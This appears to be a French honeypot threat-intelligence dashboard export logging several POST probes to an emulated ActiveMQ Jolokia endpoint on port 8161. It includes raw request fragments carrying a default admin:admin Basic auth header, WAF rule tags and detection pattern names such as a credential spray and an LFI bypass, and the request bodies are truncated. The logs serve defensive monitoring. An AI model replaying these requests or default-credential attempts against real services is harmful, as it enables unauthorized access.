POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
lfi-14
ssrf-2
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4= {"type"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 461,
"payload_entropy": 5.385462635806404,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 77,
"tag_count": 14,
"anomaly_count": 0,
"campaign_key": "76acd9525fd2a74223d3ce4d0f313569f243054d",
"event_fingerprint": "d25d0e5c27488b8322bbfae9b19c64b7c1a33e47",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "9a186b7f3893d03e9a8b8ef631bdd9f5",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 77
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b6d2312abc6797153b3f0e6e4bba1726bac3016",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 77\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 77,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_jwt_body",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Moyen · 61
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
22
Recommandation
Investiguer
Tags
950406:ssrf-3
950468:nosqli-3
950470:nosqli-3
950600:k8s-api
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Type « http_smuggling_probe » (signaux protocolaires) · confiance 95%
Confiance classification
95%
Risque capteur
Moyen
· 61
Confiance : Confiance 95 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4=
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 249,
"payload_entropy": 5.174299053887567,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 96,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 4.1,
"risk_breakdown": {
"waf": 96,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 61,
"tag_count": 8,
"anomaly_count": 0,
"campaign_key": "1d85fac6ac36c805e30cc3064bb6e92d542e6d34",
"event_fingerprint": "a111ac4f64eb04b3a2e184becbb75d20989be518",
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 96,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 61
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "33e95850265b639df64c70345481f2f4",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 61
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "675aa9b96ab955e003e0a7b5a9fed4b10fca5c14",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"classification_reason_label_fr": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 61\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 96,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 61
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 61,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 96 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_probe_api",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Élevé · 77
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950319:lfi-14
950403:ssrf-2
950406:ssrf-3
950407:ssrf-3
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
95%
Risque capteur
Élevé
· 77
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
lfi-14
ssrf-2
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4= {"type"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 461,
"payload_entropy": 5.385462635806404,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 77,
"tag_count": 14,
"anomaly_count": 0,
"campaign_key": "76acd9525fd2a74223d3ce4d0f313569f243054d",
"event_fingerprint": "d25d0e5c27488b8322bbfae9b19c64b7c1a33e47",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "9a186b7f3893d03e9a8b8ef631bdd9f5",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 77
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b6d2312abc6797153b3f0e6e4bba1726bac3016",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 77\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 77,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
